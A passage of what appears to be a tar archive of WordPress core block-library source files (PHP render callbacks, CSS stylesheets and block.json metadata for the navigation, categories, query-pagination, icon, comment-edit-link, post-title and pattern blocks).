* @since 5.9.0
*
* @param array $attributes The block attributes.
* @param string $content The saved content.
* @param WP_Block $block The parsed block.
*
* @return string Returns the navigation block markup.
*/
function render_block_core_navigation( $attributes, $content, $block ) {
return WP_Navigation_Block_Renderer::render( $attributes, $content, $block );
}
/**
* Register the navigation block.
*
* @since 5.9.0
*
* @uses render_block_core_navigation()
* @throws WP_Error An WP_Error exception parsing the block definition.
*/
function register_block_core_navigation() {
register_block_type_from_metadata(
__DIR__ . '/navigation',
array(
'render_callback' => 'render_block_core_navigation',
)
);
}
add_action( 'init', 'register_block_core_navigation' );
/**
* Filter that changes the parsed attribute values of navigation blocks contain typographic presets to contain the values directly.
*
* @since 5.9.0
*
* @param array $parsed_block The block being rendered.
*
* @return array The block being rendered without typographic presets.
*/
function block_core_navigation_typographic_presets_backcompatibility( $parsed_block ) {
if ( 'core/navigation' === $parsed_block['blockName'] ) {
$attribute_to_prefix_map = array(
'fontStyle' => 'var:preset|font-style|',
'fontWeight' => 'var:preset|font-weight|',
'textDecoration' => 'var:preset|text-decoration|',
'textTransform' => 'var:preset|text-transform|',
);
foreach ( $attribute_to_prefix_map as $style_attribute => $prefix ) {
if ( ! empty( $parsed_block['attrs']['style']['typography'][ $style_attribute ] ) ) {
$prefix_len = strlen( $prefix );
$attribute_value = &$parsed_block['attrs']['style']['typography'][ $style_attribute ];
if ( 0 === strncmp( $attribute_value, $prefix, $prefix_len ) ) {
$attribute_value = substr( $attribute_value, $prefix_len );
}
if ( 'textDecoration' === $style_attribute && 'strikethrough' === $attribute_value ) {
$attribute_value = 'line-through';
}
}
}
}
return $parsed_block;
}
add_filter( 'render_block_data', 'block_core_navigation_typographic_presets_backcompatibility' );
/**
* Turns menu item data into a nested array of parsed blocks
*
* @since 5.9.0
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::parse_blocks_from_menu_items() instead.
*
* @param array $menu_items An array of menu items that represent
* an individual level of a menu.
* @param array $menu_items_by_parent_id An array keyed by the id of the
* parent menu where each element is an
* array of menu items that belong to
* that parent.
* @return array An array of parsed block data.
*/
function block_core_navigation_parse_blocks_from_menu_items( $menu_items, $menu_items_by_parent_id ) {
_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::parse_blocks_from_menu_items' );
if ( empty( $menu_items ) ) {
return array();
}
$blocks = array();
foreach ( $menu_items as $menu_item ) {
$class_name = ! empty( $menu_item->classes ) ? implode( ' ', (array) $menu_item->classes ) : null;
$id = ( null !== $menu_item->object_id && 'custom' !== $menu_item->object ) ? $menu_item->object_id : null;
$opens_in_new_tab = null !== $menu_item->target && '_blank' === $menu_item->target;
$rel = ( null !== $menu_item->xfn && '' !== $menu_item->xfn ) ? $menu_item->xfn : null;
$kind = null !== $menu_item->type ? str_replace( '_', '-', $menu_item->type ) : 'custom';
$block = array(
'blockName' => isset( $menu_items_by_parent_id[ $menu_item->ID ] ) ? 'core/navigation-submenu' : 'core/navigation-link',
'attrs' => array(
'className' => $class_name,
'description' => $menu_item->description,
'id' => $id,
'kind' => $kind,
'label' => $menu_item->title,
'opensInNewTab' => $opens_in_new_tab,
'rel' => $rel,
'title' => $menu_item->attr_title,
'type' => $menu_item->object,
'url' => $menu_item->url,
),
);
$block['innerBlocks'] = isset( $menu_items_by_parent_id[ $menu_item->ID ] )
? block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[ $menu_item->ID ], $menu_items_by_parent_id )
: array();
$block['innerContent'] = array_map( 'serialize_block', $block['innerBlocks'] );
$blocks[] = $block;
}
return $blocks;
}
/**
* Get the classic navigation menu to use as a fallback.
*
* @since 6.2.0
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback() instead.
*
* @return object WP_Term The classic navigation.
*/
function block_core_navigation_get_classic_menu_fallback() {
_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_classic_menu_fallback' );
$classic_nav_menus = wp_get_nav_menus();
// If menus exist.
if ( $classic_nav_menus && ! is_wp_error( $classic_nav_menus ) ) {
// Handles simple use case where user has a classic menu and switches to a block theme.
// Returns the menu assigned to location `primary`.
$locations = get_nav_menu_locations();
if ( isset( $locations['primary'] ) ) {
$primary_menu = wp_get_nav_menu_object( $locations['primary'] );
if ( $primary_menu ) {
return $primary_menu;
}
}
// Returns a menu if `primary` is its slug.
foreach ( $classic_nav_menus as $classic_nav_menu ) {
if ( 'primary' === $classic_nav_menu->slug ) {
return $classic_nav_menu;
}
}
// Otherwise return the most recently created classic menu.
usort(
$classic_nav_menus,
static function ( $a, $b ) {
return $b->term_id - $a->term_id;
}
);
return $classic_nav_menus[0];
}
}
/**
* Converts a classic navigation to blocks.
*
* @since 6.2.0
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback_blocks() instead.
*
* @param object $classic_nav_menu WP_Term The classic navigation object to convert.
* @return array the normalized parsed blocks.
*/
function block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu ) {
_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_classic_menu_fallback_blocks' );
// BEGIN: Code that already exists in wp_nav_menu().
$menu_items = wp_get_nav_menu_items( $classic_nav_menu->term_id, array( 'update_post_term_cache' => false ) );
// Set up the $menu_item variables.
_wp_menu_item_classes_by_context( $menu_items );
$sorted_menu_items = array();
foreach ( (array) $menu_items as $menu_item ) {
$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
}
unset( $menu_items, $menu_item );
// END: Code that already exists in wp_nav_menu().
$menu_items_by_parent_id = array();
foreach ( $sorted_menu_items as $menu_item ) {
$menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item;
}
$inner_blocks = block_core_navigation_parse_blocks_from_menu_items(
$menu_items_by_parent_id[0] ?? array(),
$menu_items_by_parent_id
);
return serialize_blocks( $inner_blocks );
}
/**
* If there's a classic menu then use it as a fallback.
*
* @since 6.2.0
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::create_classic_menu_fallback() instead.
*
* @return array the normalized parsed blocks.
*/
function block_core_navigation_maybe_use_classic_menu_fallback() {
_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::create_classic_menu_fallback' );
// See if we have a classic menu.
$classic_nav_menu = block_core_navigation_get_classic_menu_fallback();
if ( ! $classic_nav_menu ) {
return;
}
// If we have a classic menu then convert it to blocks.
$classic_nav_menu_blocks = block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu );
if ( empty( $classic_nav_menu_blocks ) ) {
return;
}
// Create a new navigation menu from the classic menu.
$wp_insert_post_result = wp_insert_post(
array(
'post_content' => $classic_nav_menu_blocks,
'post_title' => $classic_nav_menu->name,
'post_name' => $classic_nav_menu->slug,
'post_status' => 'publish',
'post_type' => 'wp_navigation',
),
true // So that we can check whether the result is an error.
);
if ( is_wp_error( $wp_insert_post_result ) ) {
return;
}
// Fetch the most recently published navigation which will be the classic one created above.
return block_core_navigation_get_most_recently_published_navigation();
}
/**
* Finds the most recently published `wp_navigation` Post.
*
* @since 6.1.0
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::get_most_recently_published_navigation() instead.
*
* @return WP_Post|null the first non-empty Navigation or null.
*/
function block_core_navigation_get_most_recently_published_navigation() {
_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_most_recently_published_navigation' );
// Default to the most recently created menu.
$parsed_args = array(
'post_type' => 'wp_navigation',
'no_found_rows' => true,
'update_post_meta_cache' => false,
'update_post_term_cache' => false,
'order' => 'DESC',
'orderby' => 'date',
'post_status' => 'publish',
'posts_per_page' => 1, // get only the most recent.
);
$navigation_post = new WP_Query( $parsed_args );
if ( count( $navigation_post->posts ) > 0 ) {
return $navigation_post->posts[0];
}
return null;
}
categories.php 0000644 00000011512 15237550572 0007415 0 ustar 00 <?php
/**
* Server-side rendering of the `core/categories` block.
*
* @package WordPress
*/
/**
* Renders the `core/categories` block on server.
*
* @since 5.0.0
* @since 6.7.0 Enable client-side rendering if enhancedPagination context is true.
*
* @param array $attributes The block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Returns the categories list/dropdown markup.
*/
function render_block_core_categories( $attributes, $content, $block ) {
static $block_id = 0;
++$block_id;
$taxonomy = get_taxonomy( $attributes['taxonomy'] );
$args = array(
'echo' => false,
'hierarchical' => ! empty( $attributes['showHierarchy'] ),
'orderby' => 'name',
'show_count' => ! empty( $attributes['showPostCounts'] ),
'taxonomy' => $attributes['taxonomy'],
'title_li' => '',
'hide_empty' => empty( $attributes['showEmpty'] ),
);
if ( ! empty( $attributes['showOnlyTopLevel'] ) && $attributes['showOnlyTopLevel'] ) {
$args['parent'] = 0;
}
if ( ! empty( $attributes['displayAsDropdown'] ) ) {
$id = 'wp-block-categories-' . $block_id;
$args['id'] = $id;
$args['name'] = $taxonomy->query_var;
$args['value_field'] = 'slug';
$args['show_option_none'] = sprintf(
/* translators: %s: taxonomy's singular name */
__( 'Select %s' ),
$taxonomy->labels->singular_name
);
// Pre-select the current term using query var.
$args['selected'] = get_query_var( $taxonomy->query_var );
$show_label = empty( $attributes['showLabel'] ) ? ' screen-reader-text' : '';
$default_label = $taxonomy->label;
$label_text = ! empty( $attributes['label'] ) ? wp_kses_post( $attributes['label'] ) : $default_label;
$wrapper_markup = '<div %1$s><label class="wp-block-categories__label' . $show_label . '" for="' . esc_attr( $id ) . '">' . $label_text . '</label>%2$s</div>';
$items_markup = wp_dropdown_categories( $args );
$type = 'dropdown';
if ( ! is_admin() ) {
// Inject the dropdown script immediately after the select dropdown.
$items_markup = preg_replace(
'#(?<=</select>)#',
build_dropdown_script_block_core_categories( $id ),
$items_markup,
1
);
}
} else {
$args['show_option_none'] = $taxonomy->labels->no_terms;
$wrapper_markup = '<ul %1$s>%2$s</ul>';
$items_markup = wp_list_categories( $args );
$type = 'list';
if ( ! empty( $block->context['enhancedPagination'] ) ) {
$p = new WP_HTML_Tag_Processor( $items_markup );
while ( $p->next_tag( 'a' ) ) {
$p->set_attribute( 'data-wp-on--click', 'core/query::actions.navigate' );
}
$items_markup = $p->get_updated_html();
}
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => "wp-block-categories-{$type} wp-block-categories-taxonomy-{$attributes['taxonomy']}" ) );
return sprintf(
$wrapper_markup,
$wrapper_attributes,
$items_markup
);
}
/**
* Generates the inline script for a categories dropdown field.
*
* @since 5.0.0
*
* @param string $dropdown_id ID of the dropdown field.
*
* @return string Returns the dropdown onChange redirection script.
*/
function build_dropdown_script_block_core_categories( $dropdown_id ) {
ob_start();
$exports = array( $dropdown_id, home_url() );
?>
<script>
( ( [ dropdownId, homeUrl ] ) => {
const dropdown = document.getElementById( dropdownId );
function onSelectChange() {
setTimeout( () => {
if ( 'escape' === dropdown.dataset.lastkey ) {
return;
}
// Only navigate if a valid term is selected (not the default "Select [taxonomy]" option)
if ( dropdown.value && dropdown.value !== '-1' && dropdown instanceof HTMLSelectElement ) {
const url = new URL( homeUrl );
url.searchParams.set( dropdown.name, dropdown.value );
location.href = url.href;
}
}, 250 );
}
function onKeyUp( event ) {
if ( 'Escape' === event.key ) {
dropdown.dataset.lastkey = 'escape';
} else {
delete dropdown.dataset.lastkey;
}
}
function onClick() {
delete dropdown.dataset.lastkey;
}
dropdown.addEventListener( 'keyup', onKeyUp );
dropdown.addEventListener( 'click', onClick );
dropdown.addEventListener( 'change', onSelectChange );
} )( <?php echo wp_json_encode( $exports, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ); ?> );
</script>
<?php
return wp_get_inline_script_tag(
trim( str_replace( array( '<script>', '</script>' ), '', ob_get_clean() ) ) .
"\n//# sourceURL=" . rawurlencode( __FUNCTION__ )
);
}
/**
* Registers the `core/categories` block on server.
*
* @since 5.0.0
*/
function register_block_core_categories() {
register_block_type_from_metadata(
__DIR__ . '/categories',
array(
'render_callback' => 'render_block_core_categories',
)
);
}
add_action( 'init', 'register_block_core_categories' );
query-pagination/style.min.css 0000644 00000001374 15237550572 0012514 0 ustar 00 .wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination.aligncenter{justify-content:center} query-pagination/style-rtl.min.css 0000644 00000001376 15237550572 0013315 0 ustar 00 .wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination.aligncenter{justify-content:center} query-pagination/style.css 0000644 00000001547 15237550572 0011734 0 ustar 00 .wp-block-query-pagination.is-content-justification-space-between > .wp-block-query-pagination-next:last-of-type {
margin-inline-start: auto;
}
.wp-block-query-pagination.is-content-justification-space-between > .wp-block-query-pagination-previous:first-child {
margin-inline-end: auto;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow {
margin-right: 1ch;
display: inline-block;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron) {
transform: scaleX(1) /*rtl:scaleX(-1);*/;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow {
margin-left: 1ch;
display: inline-block;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron) {
transform: scaleX(1) /*rtl:scaleX(-1);*/;
}
.wp-block-query-pagination.aligncenter {
justify-content: center;
} query-pagination/editor.css 0000644 00000000425 15237550572 0012054 0 ustar 00 .wp-block[data-align=center] > .wp-block-query-pagination {
justify-content: center;
}
:where(.editor-styles-wrapper) .wp-block-query-pagination {
max-width: 100%;
}
:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout {
margin: 0;
} query-pagination/editor-rtl.css 0000644 00000000425 15237550572 0012653 0 ustar 00 .wp-block[data-align=center] > .wp-block-query-pagination {
justify-content: center;
}
:where(.editor-styles-wrapper) .wp-block-query-pagination {
max-width: 100%;
}
:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout {
margin: 0;
} query-pagination/editor-rtl.min.css 0000644 00000000373 15237550572 0013437 0 ustar 00 .wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-query-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{margin:0} query-pagination/style-rtl.css 0000644 00000001503 15237550572 0012523 0 ustar 00 .wp-block-query-pagination.is-content-justification-space-between > .wp-block-query-pagination-next:last-of-type {
margin-inline-start: auto;
}
.wp-block-query-pagination.is-content-justification-space-between > .wp-block-query-pagination-previous:first-child {
margin-inline-end: auto;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow {
margin-left: 1ch;
display: inline-block;
}
.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron) {
transform: scaleX(-1);;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow {
margin-right: 1ch;
display: inline-block;
}
.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron) {
transform: scaleX(-1);;
}
.wp-block-query-pagination.aligncenter {
justify-content: center;
} query-pagination/block.json 0000644 00000003075 15237550572 0012045 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/query-pagination",
"title": "Pagination",
"category": "theme",
"ancestor": [ "core/query" ],
"allowedBlocks": [
"core/query-pagination-previous",
"core/query-pagination-numbers",
"core/query-pagination-next"
],
"description": "Displays a paginated navigation to next/previous set of posts, when applicable.",
"textdomain": "default",
"attributes": {
"paginationArrow": {
"type": "string",
"default": "none"
},
"showLabel": {
"type": "boolean",
"default": true
}
},
"usesContext": [ "queryId", "query" ],
"providesContext": {
"paginationArrow": "paginationArrow",
"showLabel": "showLabel"
},
"supports": {
"anchor": true,
"align": true,
"reusable": false,
"html": false,
"color": {
"gradients": true,
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true,
"link": true
}
},
"layout": {
"allowSwitching": false,
"allowInheriting": false,
"default": {
"type": "flex"
}
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
}
},
"editorStyle": "wp-block-query-pagination-editor",
"style": "wp-block-query-pagination"
}
query-pagination/editor.min.css 0000644 00000000373 15237550572 0012640 0 ustar 00 .wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-query-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{margin:0} post-comments-link/style.min.css 0000644 00000000063 15237550572 0012755 0 ustar 00 .wp-block-post-comments-link{box-sizing:border-box} post-comments-link/style-rtl.min.css 0000644 00000000063 15237550572 0013554 0 ustar 00 .wp-block-post-comments-link{box-sizing:border-box} post-comments-link/style.css 0000644 00000000072 15237550572 0012173 0 ustar 00 .wp-block-post-comments-link {
box-sizing: border-box;
} post-comments-link/style-rtl.css 0000644 00000000072 15237550572 0012772 0 ustar 00 .wp-block-post-comments-link {
box-sizing: border-box;
} post-comments-link/block.json 0000644 00000002411 15237550572 0012305 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/post-comments-link",
"title": "Comments Link",
"category": "theme",
"description": "Displays the link to the current post comments.",
"textdomain": "default",
"usesContext": [ "postType", "postId" ],
"example": {
"viewportWidth": 350
},
"supports": {
"anchor": true,
"html": false,
"color": {
"link": true,
"text": false,
"__experimentalDefaultControls": {
"background": true,
"link": true
}
},
"spacing": {
"margin": true,
"padding": true
},
"typography": {
"fontSize": true,
"lineHeight": true,
"textAlign": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true,
"__experimentalDefaultControls": {
"radius": true,
"color": true,
"width": true,
"style": true
}
}
},
"style": "wp-block-post-comments-link"
}
icon.php 0000644 00000010053 15237550572 0006217 0 ustar 00 <?php
/**
* Server-side rendering of the `core/icon` block.
*
* @package WordPress
*/
/**
* Renders the `core/icon` block on server.
*
* @since 7.0.0
*
* @param array $attributes The block attributes.
* @param string $content The block content.
* @param WP_Block $block The block instance.
*
* @return string Returns the Icon.
*/
function render_block_core_icon( $attributes ) {
if ( empty( $attributes['icon'] ) ) {
return;
}
$registry = WP_Icons_Registry::get_instance();
$icon = $registry->get_registered_icon( $attributes['icon'] );
if ( is_null( $icon ) ) {
return;
}
// Text color and background color.
$color_styles = array();
$preset_text_color = array_key_exists( 'textColor', $attributes ) ? "var:preset|color|{$attributes['textColor']}" : null;
$custom_text_color = $attributes['style']['color']['text'] ?? null;
$color_styles['text'] = $preset_text_color ? $preset_text_color : $custom_text_color;
$preset_background_color = array_key_exists( 'backgroundColor', $attributes ) ? "var:preset|color|{$attributes['backgroundColor']}" : null;
$custom_background_color = $attributes['style']['color']['background'] ?? null;
$color_styles['background'] = $preset_background_color ? $preset_background_color : $custom_background_color;
// Border.
$border_styles = array();
$sides = array( 'top', 'right', 'bottom', 'left' );
if ( isset( $attributes['style']['border']['radius'] ) ) {
$border_styles['radius'] = $attributes['style']['border']['radius'];
}
if ( isset( $attributes['style']['border']['style'] ) ) {
$border_styles['style'] = $attributes['style']['border']['style'];
}
if ( isset( $attributes['style']['border']['width'] ) ) {
$border_styles['width'] = $attributes['style']['border']['width'];
}
$preset_color = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null;
$custom_color = $attributes['style']['border']['color'] ?? null;
$border_styles['color'] = $preset_color ? $preset_color : $custom_color;
foreach ( $sides as $side ) {
$border = $attributes['style']['border'][ $side ] ?? null;
$border_styles[ $side ] = array(
'color' => $border['color'] ?? null,
'style' => $border['style'] ?? null,
'width' => $border['width'] ?? null,
);
}
// Spacing (Padding).
$spacing_styles = array();
if ( isset( $attributes['style']['spacing']['padding'] ) ) {
$spacing_styles['padding'] = $attributes['style']['spacing']['padding'];
}
// Dimensions (Width).
$dimensions_styles = array();
if ( isset( $attributes['style']['dimensions']['width'] ) ) {
$dimensions_styles['width'] = $attributes['style']['dimensions']['width'];
}
// Generate styles and classes.
$styles = wp_style_engine_get_styles(
array(
'color' => $color_styles,
'border' => $border_styles,
'spacing' => $spacing_styles,
'dimensions' => $dimensions_styles,
),
);
$processor = new WP_HTML_Tag_Processor( $icon['content'] );
$processor->next_tag( 'svg' );
if ( ! empty( $styles['css'] ) ) {
$processor->set_attribute( 'style', $styles['css'] );
}
if ( ! empty( $styles['classnames'] ) ) {
$processor->add_class( $styles['classnames'] );
}
$aria_label = ! empty( $attributes['ariaLabel'] ) ? $attributes['ariaLabel'] : '';
if ( ! $aria_label ) {
// Icon is decorative, hide it from screen readers.
$processor->set_attribute( 'aria-hidden', 'true' );
$processor->set_attribute( 'focusable', 'false' );
} else {
$processor->set_attribute( 'role', 'img' );
$processor->set_attribute( 'aria-label', $aria_label );
}
// Return the updated SVG markup.
$svg = $processor->get_updated_html();
$attributes = get_block_wrapper_attributes();
return sprintf( '<div %s>%s</div>', $attributes, $svg );
}
/**
* Registers the `core/icon` block on server.
*
* @since 7.0.0
*/
function register_block_core_icon() {
register_block_type_from_metadata(
__DIR__ . '/icon',
array(
'render_callback' => 'render_block_core_icon',
)
);
}
add_action( 'init', 'register_block_core_icon' );
query-pagination-numbers/editor.css 0000644 00000000364 15237550572 0013527 0 ustar 00 .wp-block-query-pagination-numbers a {
text-decoration: underline;
}
.wp-block-query-pagination-numbers .page-numbers {
margin-right: 2px;
}
.wp-block-query-pagination-numbers .page-numbers:last-child {
/*rtl:ignore*/
margin-right: 0;
} query-pagination-numbers/editor-rtl.css 0000644 00000000342 15237550572 0014322 0 ustar 00 .wp-block-query-pagination-numbers a {
text-decoration: underline;
}
.wp-block-query-pagination-numbers .page-numbers {
margin-left: 2px;
}
.wp-block-query-pagination-numbers .page-numbers:last-child {
margin-right: 0;
} query-pagination-numbers/editor-rtl.min.css 0000644 00000000313 15237550572 0015102 0 ustar 00 .wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-left:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0} query-pagination-numbers/block.json 0000644 00000002130 15237550572 0013505 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/query-pagination-numbers",
"title": "Page Numbers",
"category": "theme",
"parent": [ "core/query-pagination" ],
"description": "Displays a list of page numbers for pagination.",
"textdomain": "default",
"attributes": {
"midSize": {
"type": "number",
"default": 2
}
},
"usesContext": [ "queryId", "query", "enhancedPagination" ],
"supports": {
"anchor": true,
"reusable": false,
"html": false,
"color": {
"gradients": true,
"text": false,
"__experimentalDefaultControls": {
"background": true
}
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
}
},
"editorStyle": "wp-block-query-pagination-numbers-editor"
}
query-pagination-numbers/editor.min.css 0000644 00000000314 15237550572 0014304 0 ustar 00 .wp-block-query-pagination-numbers a{text-decoration:underline}.wp-block-query-pagination-numbers .page-numbers{margin-right:2px}.wp-block-query-pagination-numbers .page-numbers:last-child{margin-right:0} comment-edit-link.php 0000644 00000003261 15237550572 0010612 0 ustar 00 <?php
/**
* Server-side rendering of the `core/comment-edit-link` block.
*
* @package WordPress
*/
/**
* Renders the `core/comment-edit-link` block on the server.
*
* @since 6.0.0
*
* @param array $attributes Block attributes.
* @param string $content Block default content.
* @param WP_Block $block Block instance.
*
* @return string Return the post comment's date.
*/
function render_block_core_comment_edit_link( $attributes, $content, $block ) {
if ( ! isset( $block->context['commentId'] ) || ! current_user_can( 'edit_comment', $block->context['commentId'] ) ) {
return '';
}
$edit_comment_link = get_edit_comment_link( $block->context['commentId'] );
$link_atts = '';
if ( ! empty( $attributes['linkTarget'] ) ) {
$link_atts .= sprintf( 'target="%s"', esc_attr( $attributes['linkTarget'] ) );
}
$classes = array();
if ( isset( $attributes['textAlign'] ) ) {
$classes[] = 'has-text-align-' . $attributes['textAlign'];
}
if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
$classes[] = 'has-link-color';
}
$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );
return sprintf(
'<div %1$s><a href="%2$s" %3$s>%4$s</a></div>',
$wrapper_attributes,
esc_url( $edit_comment_link ),
$link_atts,
esc_html__( 'Edit' )
);
}
/**
* Registers the `core/comment-edit-link` block on the server.
*
* @since 6.0.0
*/
function register_block_core_comment_edit_link() {
register_block_type_from_metadata(
__DIR__ . '/comment-edit-link',
array(
'render_callback' => 'render_block_core_comment_edit_link',
)
);
}
add_action( 'init', 'register_block_core_comment_edit_link' );
post-title/style.min.css 0000644 00000000405 15237550572 0011316 0 ustar 00 .wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit} post-title/style-rtl.min.css 0000644 00000000405 15237550572 0012115 0 ustar 00 .wp-block-post-title{box-sizing:border-box;word-break:break-word}.wp-block-post-title :where(a){display:inline-block;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-decoration:inherit} post-title/style.css 0000644 00000000464 15237550572 0010541 0 ustar 00 .wp-block-post-title {
word-break: break-word;
box-sizing: border-box;
}
.wp-block-post-title :where(a) {
display: inline-block;
font-family: inherit;
font-size: inherit;
font-style: inherit;
font-weight: inherit;
letter-spacing: inherit;
line-height: inherit;
text-decoration: inherit;
} post-title/style-rtl.css 0000644 00000000464 15237550572 0011340 0 ustar 00 .wp-block-post-title {
word-break: break-word;
box-sizing: border-box;
}
.wp-block-post-title :where(a) {
display: inline-block;
font-family: inherit;
font-size: inherit;
font-style: inherit;
font-weight: inherit;
letter-spacing: inherit;
line-height: inherit;
text-decoration: inherit;
} post-title/block.json 0000644 00000003331 15237550572 0010650 0 ustar 00 {
"$schema": "https://schemas.wp.org/trunk/block.json",
"apiVersion": 3,
"name": "core/post-title",
"title": "Title",
"category": "theme",
"description": "Displays the title of a post, page, or any other content-type.",
"textdomain": "default",
"usesContext": [ "postId", "postType", "queryId" ],
"attributes": {
"textAlign": {
"type": "string"
},
"level": {
"type": "number",
"default": 2
},
"levelOptions": {
"type": "array"
},
"isLink": {
"type": "boolean",
"default": false,
"role": "content"
},
"rel": {
"type": "string",
"attribute": "rel",
"default": "",
"role": "content"
},
"linkTarget": {
"type": "string",
"default": "_self",
"role": "content"
}
},
"example": {
"viewportWidth": 350
},
"supports": {
"anchor": true,
"align": [ "wide", "full" ],
"html": false,
"color": {
"gradients": true,
"link": true,
"__experimentalDefaultControls": {
"background": true,
"text": true,
"link": true
}
},
"spacing": {
"margin": true,
"padding": true
},
"typography": {
"fontSize": true,
"lineHeight": true,
"__experimentalFontFamily": true,
"__experimentalFontWeight": true,
"__experimentalFontStyle": true,
"__experimentalTextTransform": true,
"__experimentalTextDecoration": true,
"__experimentalLetterSpacing": true,
"__experimentalDefaultControls": {
"fontSize": true
}
},
"interactivity": {
"clientNavigation": true
},
"__experimentalBorder": {
"radius": true,
"color": true,
"width": true,
"style": true,
"__experimentalDefaultControls": {
"radius": true,
"color": true,
"width": true,
"style": true
}
}
},
"style": "wp-block-post-title"
}
pattern.php 0000644 00000003374 15237550572 0006754 0 ustar 00 <?php
/**
* Server-side rendering of the `core/pattern` block.
*
* @package WordPress
*/
/**
* Registers the `core/pattern` block on the server.
*
* @since 5.9.0
*/
function register_block_core_pattern() {
register_block_type_from_metadata(
__DIR__ . '/pattern',
array(
'render_callback' => 'render_block_core_pattern',
)
);
}
/**
* Renders the `core/pattern` block on the server.
*
* @since 6.3.0 Backwards compatibility: blocks with no `syncStatus` attribute do not receive block wrapper.
*
* @global WP_Embed $wp_embed Used to process embedded content within patterns
*
* @param array $attributes Block attributes.
*
* @return string Returns the output of the pattern.
*/
function render_block_core_pattern( $attributes ) {
static $seen_refs = array();
if ( empty( $attributes['slug'] ) ) {
return '';
}
